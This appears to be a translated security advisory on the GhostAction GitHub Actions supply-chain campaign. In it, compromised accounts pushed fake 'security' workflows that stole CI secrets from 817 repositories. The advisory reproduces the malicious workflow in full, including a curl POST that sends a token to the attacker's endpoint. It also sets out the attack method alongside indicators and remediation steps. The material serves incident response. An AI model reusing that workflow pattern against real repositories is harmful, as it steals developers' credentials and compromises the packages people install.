GitGuardian 研究人员发现大规模供应链攻击,影响了 327 位 GitHub 用户下的 817 个代码仓库。恶意工作流通过被入侵的开发者账户窃取了 3,325 个敏感信息,包括 PyPI、npm 和 DockerHub 令牌。
执行摘要
2025 年 9 月 5 日,GitGuardian 的安全研究人员 Gaetan Ferry 和 Guillaume Valadon 发现了 "GhostAction",这是一个复杂的供应链攻击活动,入侵了 327 位 GitHub 用户下的 817 个代码仓库。攻击者注入了恶意工作流,成功将 3,325 个敏感信息(包括 PyPI、npm 和 DockerHub 令牌)窃取到攻击者控制的端点。这是迄今为止规模最大的协同 GitHub Actions 供应链攻击之一,被入侵的凭证涉及多个包生态系统,对软件供应链造成了持续性风险。
技术分析
攻击向量
GhostAction 活动采用了一种看似简单但极其有效的攻击模式。被入侵的 GitHub 账户推送了伪装成安全改进的恶意工作流文件。每个名为"Add Github Actions Security workflow"的工作流都包含秘密窃取代码,会在每次推送或手动触发时执行。
恶意工作流
攻击者创建了一个统一的工作流模板,部署到所有被入侵的代码仓库:
name: Github Actions Security
on:
workflow_dispatch:
push:
jobs:
send-secrets:
runs-on: ubuntu-latest
steps:
- name: Prepare Cache Busting
run: echo "CACHE_BUST=$(date +%s)" >> $GITHUB_ENV
- name: Github Actions Security
run: |
curl -s -X POST -d 'CODECOV_TOKEN=${{ secrets.CODECOV_TOKEN }}' https://bold-dhawan.45-139-104-115.plesk.page该工作流的简单性正是其优势所在——无需依赖项,使用标准 GitHub Actions 语法,并且可以通过伪装成合法安全工作流来绕过粗略的安全审查。
攻击方法论
该活动遵循系统化的方法:
秘密枚举
攻击者首先分析目标仓库中的合法工作流文件,识别秘密名称
工作流定制
每个恶意工作流都根据该仓库中发现的特定秘密名称进行定制
即时执行
工作流在推送时触发,确保立即窃取秘密
通过入侵开发者凭证来获取 CI/CD 秘密,最终获得生产环境和发布凭证的更高权限,这种攻击方法仍然是一种流行的攻击手段。从与企业交流中我们了解到,多个组织的红队已成功使用这种确切技术来识别内部安全漏洞。这种模式已被安全专业人员充分理解:入侵开发者账户、注入恶意工作流、收割 CI/CD 秘密,然后提权到生产环境访问。
入侵规模
GitGuardian 的分析揭示了此次活动的巨大范围:
- 327 位被入侵的 GitHub 用户
- 817 个受影响的代码仓库
- 3,325 个被窃取的敏感信息
- 截至披露时,已有 100 多个代码仓库回滚了更改
被入侵的敏感信息包括:
- DockerHub 凭证(最常见)
- GitHub 个人访问令牌
- npm 认证令牌
- PyPI API 令牌
- AWS 访问密钥
- 数据库凭证
- Cloudflare API 令牌
多家公司的整个 SDK 产品组合在 Python、Rust、JavaScript 和 Go 代码仓库中遭到入侵,这表明单个被入侵的开发者账户可能会级联成全组织范围的安全事件。您可以使用以下 URL 查看公开可用的恶意工作流列表。
https://github.com/search?q=bold-dhawan.45-139-104-115.plesk.page&type=code
基础设施分析
外泄端点 bold-dhawan[.]45-139-104-115[.]plesk[.]page 解析到 IP 地址 45.139.104.115,托管在 493networking.cc。域名命名模式和托管提供商表明这是为本次特定活动设计的临时基础设施。该端点于 9 月 5 日 16:15 UTC 停止解析,可能是对公开披露的回应。
检测与响应
GitGuardian 如何发现攻击
初始检测来自 GitGuardian 的内部安全监控,当时 FastUUID 项目触发了警报。由 Gaetan Ferry 和 Guillaume Valadon 领导的安全研究团队迅速识别出恶意工作流模式,并开始调查更广泛的攻击活动。
社区响应
GitGuardian 的披露流程堪称典范:
- 在 573 个被入侵的代码仓库中创建了问题
- 直接通知了包注册表安全团队
- 发布了详细的妥协指标
快速响应有助于控制损害——尽管存在机会窗口,但未检测到恶意包发布。
恢复步骤
如果您的代码仓库受到 GhostAction 活动的影响,请立即采取以下措施:
审计您的代码仓库
使用以下 GitHub 搜索查询搜索恶意工作流文件(将 AcmeInc 替换为您的组织名称):
https://github.com/search?q=bold-dhawan.45-139-104-115.plesk.page+org%3Aacmeinc&type=code
删除恶意工作流
如果您发现恶意工作流,请立即从所有代码仓库分支中删除它。
立即轮换所有敏感信息
如果您受到影响,请轮换代码仓库工作流可用的所有 GitHub Action 敏感信息。
StepSecurity Enterprise 客户步骤
StepSecurity Enterprise 客户可使用额外的工具和策略来检测和防止类似攻击:
启用敏感信息泄露工作流运行策略
此策略专门用于阻止未经审核的工作流和工作流更改访问敏感信息,正是 GhostAction 活动所利用的场景。启用后,此策略将阻止恶意工作流访问代码仓库敏感信息。
如果此策略已在您的组织中启用,请查看最近的策略检测日志,查找可能表明您被定向攻击的阻止尝试。
配置 Runner 标签策略
由于攻击者创建了可以选择 GitHub 托管运行器的新工作流,即使之前已配置 Harden-Runner 运行时监控,他们仍可能绕过监控。如果您的组织仅使用自托管运行器,请启用 Runner 标签策略以防止未经授权使用 GitHub 托管运行器。
审查 Harden-Runner 基线
如果在入侵时间窗口内有工作流在 Harden-Runner 保护下执行,请检查您的组织和集群级基线,查找对 bold-dhawan[.]45-139-104-115[.]plesk[.]page 的任何观察到的调用。该域名不应出现在合法工作流网络流量中。
启用分支保护
实施分支保护规则,要求在工作流更改合并前进行拉取请求审查。这增加了一个关键的人工审查步骤,可以捕获恶意工作流添加。
致谢
我们向 GitGuardian 安全研究团队在发现和负责任披露此活动方面的出色工作表示衷心感谢。
我们 also thank the broader security community for their swift response in reverting malicious changes and securing affected repositories.
结论
GhostAction 活动代表了 GitHub Actions 供应链攻击的重大升级。通过在 817 个代码仓库中被窃取的 3,000 多个敏感信息,它展示了风险的规模和主动 CI/CD 安全措施的重要性。
尽管由于 GitGuardian 和安全社区的迅速行动,已遏制了直接威胁,但这一事件是一个警钟。组织必须将其 CI/CD 管道视为关键安全边界,并实施纵深防御策略以防止日益复杂的攻击。